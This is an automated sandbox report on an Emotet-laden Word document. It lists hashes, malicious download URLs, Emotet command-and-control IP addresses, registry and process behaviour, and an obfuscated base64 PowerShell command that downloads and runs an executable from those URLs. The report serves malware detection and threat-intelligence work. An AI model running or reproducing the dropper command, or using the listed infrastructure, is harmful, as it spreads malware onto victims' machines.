Analysis
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max time kernel
26s -
max time network
33s -
platform
windows7_x64 -
resource
win7 -
submitted
28-07-2020 19:33
Static task
static1
General
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Target
c3c5633aa6844b78f5fd68ab867c7f0ee8c3cb63387b2b497ea29bcc8566a2f6.doc
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Size
171KB
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MD5
a512ea7bc160e955389b52b697c9de9c
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SHA1
c05ae5ffab53c50c1df6422d6e1b50b3224bb09f
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SHA256
c3c5633aa6844b78f5fd68ab867c7f0ee8c3cb63387b2b497ea29bcc8566a2f6
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SHA512
35c359a546375400efa0e9462c2a4027109f3266acbc29883aed297b4a9825415deca07d33a789c40737c6e85a00947723570dc89d980233dd9463bcfcce0d1a
Malware Config
Extracted
http://bunchproperties.com/lyhvmiq/s_ia_4uaq/
http://badeggdesign.com/cgi-bin/nxr5_o_d6vmj/
http://calledtochange.org/calledtochange/0_76zqg_bwnxpr84/
http://www.cinefamily.org/phpMyAdmin-4.7.9-all-languages/5um_oot_hz8/
http://bodbderg.net/wp-admin/ogfv5_4_x2l/
Extracted
emotet
76.27.179.47:80
212.51.142.238:8080
189.212.199.126:443
61.19.246.238:443
162.154.38.103:80
91.211.88.52:7080
83.110.223.58:443
124.45.106.173:443
116.203.32.252:8080
109.117.53.230:443
5.196.74.210:8080
75.139.38.211:80
168.235.67.138:7080
176.111.60.55:8080
169.239.182.217:8080
74.208.45.104:8080
31.31.77.83:443
222.214.218.37:4143
37.139.21.175:8080
91.205.215.66:443
93.156.165.186:80
78.24.219.147:8080
87.106.136.232:8080
87.106.139.101:8080
81.2.235.111:8080
62.75.141.82:80
181.230.116.163:80
95.9.185.228:443
173.91.22.41:80
153.126.210.205:7080
113.160.130.116:8443
190.55.181.54:443
137.59.187.107:8080
209.182.216.177:443
91.231.166.124:8080
95.179.229.244:8080
201.173.217.124:443
5.39.91.110:7080
109.74.5.95:8080
104.131.11.150:443
104.236.246.93:8080
209.141.54.221:8080
95.213.236.64:8080
210.165.156.91:80
46.105.131.79:8080
24.43.99.75:80
203.153.216.189:7080
180.92.239.110:8080
62.138.26.28:8080
104.131.44.150:8080
139.130.242.43:80
79.98.24.39:8080
41.60.200.34:80
93.51.50.171:8080
47.153.182.47:80
185.94.252.104:443
71.208.216.10:80
200.41.121.90:80
70.167.215.250:8080
121.124.124.40:7080
157.245.99.39:8080
139.59.60.244:8080
103.86.49.11:8080
50.116.86.205:8080
46.105.131.87:80
162.241.92.219:8080
152.168.248.128:443
200.55.243.138:8080
190.160.53.126:80
24.234.133.205:80
37.187.72.193:8080
108.48.41.69:80
110.145.77.103:80
Signatures
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Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powersheLL.exeapi-ms-win-crt-environment-l1-1-0.exepid process 1768 powersheLL.exe 1768 powersheLL.exe 1576 api-ms-win-crt-environment-l1-1-0.exe 1576 api-ms-win-crt-environment-l1-1-0.exe -
Blacklisted process makes network request 1 IoCs
Processes:
powersheLL.exeflow pid process 5 1768 powersheLL.exe -
Executes dropped EXE 2 IoCs
Processes:
853.exeapi-ms-win-crt-environment-l1-1-0.exepid process 1844 853.exe 1576 api-ms-win-crt-environment-l1-1-0.exe -
Emotet Payload 2 IoCs
Detects Emotet payload in memory.
Processes:
resource yara_rule behavioral1/memory/1844-11-0x0000000000300000-0x000000000030C000-memory.dmp emotet behavioral1/memory/1576-15-0x00000000003E0000-0x00000000003EC000-memory.dmp emotet -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1460 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 6 IoCs
Processes:
WINWORD.EXE853.exeapi-ms-win-crt-environment-l1-1-0.exepid process 1460 WINWORD.EXE 1460 WINWORD.EXE 1844 853.exe 1844 853.exe 1576 api-ms-win-crt-environment-l1-1-0.exe 1576 api-ms-win-crt-environment-l1-1-0.exe -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powersheLL.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1768 1052 powersheLL.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powersheLL.exedescription pid process Token: SeDebugPrivilege 1768 powersheLL.exe -
Modifies registry class 280 IoCs
Processes:
WINWORD.EXEdescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{4F31EA17-F375-4EFE-971A-A237D32329C4}\2.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}\ = "Font" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcText" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\ = "Controls" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{4C599243-6926-101B-9992-00000B65C6F9} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\ = "MdcComboEvents" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{4F31EA17-F375-4EFE-971A-A237D32329C4}\2.0\FLAGS WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\TypeLib\{4F31EA17-F375-4EFE-971A-A237D32329C4}\2.0\FLAGS WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}\ = "IReturnEffect" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}\ = "Tabs" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\ = "MdcTextEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\ = "MdcOptionButtonEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents3" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents1" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents4" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}\ = "Pages" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\ = "TabStripEvents" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{4F31EA17-F375-4EFE-971A-A237D32329C4}\2.0\0\win32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE\\MSForms.exd" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLImage" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLOption" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}\ = "_UserForm" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\ = "WHTMLControlEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents2" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{4F31EA17-F375-4EFE-971A-A237D32329C4}\2.0\FLAGS\ = "6" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}\ = "IReturnSingle" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents6" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcOptionButton" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSelect" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{4F31EA17-F375-4EFE-971A-A237D32329C4}\2.0\ = "Microsoft Forms 2.0 Object Library" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLCheckbox" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0} WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
853.exedescription pid process target process PID 1844 wrote to memory of 1576 1844 853.exe api-ms-win-crt-environment-l1-1-0.exe PID 1844 wrote to memory of 1576 1844 853.exe api-ms-win-crt-environment-l1-1-0.exe PID 1844 wrote to memory of 1576 1844 853.exe api-ms-win-crt-environment-l1-1-0.exe PID 1844 wrote to memory of 1576 1844 853.exe api-ms-win-crt-environment-l1-1-0.exe -
Office loads VBA resources, possible macro or embedded object present
-
Drops file in System32 directory 2 IoCs
Processes:
powersheLL.exe853.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powersheLL.exe File opened for modification C:\Windows\SysWOW64\bitsperf\api-ms-win-crt-environment-l1-1-0.exe 853.exe
Processes
-
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\c3c5633aa6844b78f5fd68ab867c7f0ee8c3cb63387b2b497ea29bcc8566a2f6.doc"1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Modifies registry class
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABVAEYAQgBJAEkAbABpAGkAPQAnAEcASABBAE8ARQBsAHoAbwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwBVAGAAUgBpAGAAVABgAFkAUABSAG8AYABUAG8AQwBvAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABTAFcARQBSAEwAcQBiAHoAIAA9ACAAJwA4ADUAMwAnADsAJABIAEcATgBQAEsAcwB1AG0APQAnAE0ASABYAFoAQwBkAGcAbAAnADsAJABOAFQAVwBYAFoAbgBqAHgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFMAVwBFAFIATABxAGIAegArACcALgBlAHgAZQAnADsAJABGAEsATABQAFIAbgBjAHAAPQAnAEUAUgBUAFMAWAB1AG8AcwAnADsAJABKAEQAVQBGAEIAdABjAHAAPQAuACgAJwBuAGUAJwArACcAdwAtACcAKwAnAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AdwBFAEIAQwBMAGkAZQBOAFQAOwAkAEUARgBCAFkASABoAG4AaQA9ACcAaAB0AHQAcAA6AC8ALwBiAHUAbgBjAGgAcAByAG8AcABlAHIAdABpAGUAcwAuAGMAbwBtAC8AbAB5AGgAdgBtAGkAcQAvAHMAXwBpAGEAXwA0AHUAYQBxAC8AKgBoAHQAdABwADoALwAvAGIAYQBkAGUAZwBnAGQAZQBzAGkAZwBuAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AbgB4AHIANQBfAG8AXwBkADYAdgBtAGoALwAqAGgAdAB0AHAAOgAvAC8AYwBhAGwAbABlAGQAdABvAGMAaABhAG4AZwBlAC4AbwByAGcALwBjAGEAbABsAGUAZAB0AG8AYwBoAGEAbgBnAGUALwAwAF8ANwA2AHoAcQBnAF8AYgB3AG4AeABwAHIAOAA0AC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AYwBpAG4AZQBmAGEAbQBpAGwAeQAuAG8AcgBnAC8AcABoAHAATQB5AEEAZABtAGkAbgAtADQALgA3AC4AOQAtAGEAbABsAC0AbABhAG4AZwB1AGEAZwBlAHMALwA1AHUAbQBfAG8AbwB0AF8AaAB6ADgALwAqAGgAdAB0AHAAOgAvAC8AYgBvAGQAYgBkAGUAcgBnAC4AbgBlAHQALwB3AHAALQBhAGQAbQBpAG4ALwBvAGcAZgB2ADUAXwA0AF8AeAAyAGwALwAnAC4AIgBzAGAAcABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEcAUABRAFEATgB6AHAAdwA9ACcASgBIAFkASwBZAGEAZwBqACcAOwBmAG8AcgBlAGEAYwBoACgAJABEAFQATgBCAEMAZgBiAHEAIABpAG4AIAAkAEUARgBCAFkASABoAG4AaQApAHsAdAByAHkAewAkAEoARABVAEYAQgB0AGMAcAAuACIAZABPAHcATgBgAEwAbwBgAEEAZABgAEYASQBsAEUAIgAoACQARABUAE4AQgBDAGYAYgBxACwAIAAkAE4AVABXAFgAWgBuAGoAeAApADsAJABDAFMAUABBAE0AdQBkAHEAPQAnAFoAVABLAEQATABrAGkAegAnADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAE4AVABXAFgAWgBuAGoAeAApAC4AIgBMAEUATgBgAGcAYABUAEgAIgAgAC0AZwBlACAAMwA2ADQANwA1ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAGAAUgBlAGEAYABUAEUAIgAoACQATgBUAFcAWABaAG4AagB4ACkAOwAkAFAAWABMAFoAVQB1AHQAaAA9ACcAVABUAFQATABOAGkAbQBhACcAOwBiAHIAZQBhAGsAOwAkAEcAQwBXAE0AVwBlAHEAYwA9ACcARwBXAE8AQwBZAGUAZgB0ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAUwBVAEYAVABtAG0AeAA9ACcARwBJAFcAVQBZAGoAZAB0ACcA1⤵
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Drops file in System32 directory
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C:\Users\Admin\853.exeC:\Users\Admin\853.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
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C:\Windows\SysWOW64\bitsperf\api-ms-win-crt-environment-l1-1-0.exe"C:\Windows\SysWOW64\bitsperf\api-ms-win-crt-environment-l1-1-0.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
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C:\Users\Admin\853.exe
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C:\Users\Admin\853.exe
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C:\Windows\SysWOW64\bitsperf\api-ms-win-crt-environment-l1-1-0.exe
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memory/1460-2-0x0000000008940000-0x0000000008944000-memory.dmpFilesize
16KB
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memory/1460-6-0x000000000A950000-0x000000000A954000-memory.dmpFilesize
16KB
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memory/1460-7-0x000000000B9D0000-0x000000000B9D4000-memory.dmpFilesize
16KB
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memory/1576-13-0x0000000000000000-mapping.dmp
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memory/1576-15-0x00000000003E0000-0x00000000003EC000-memory.dmpFilesize
48KB
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memory/1844-11-0x0000000000300000-0x000000000030C000-memory.dmpFilesize
48KB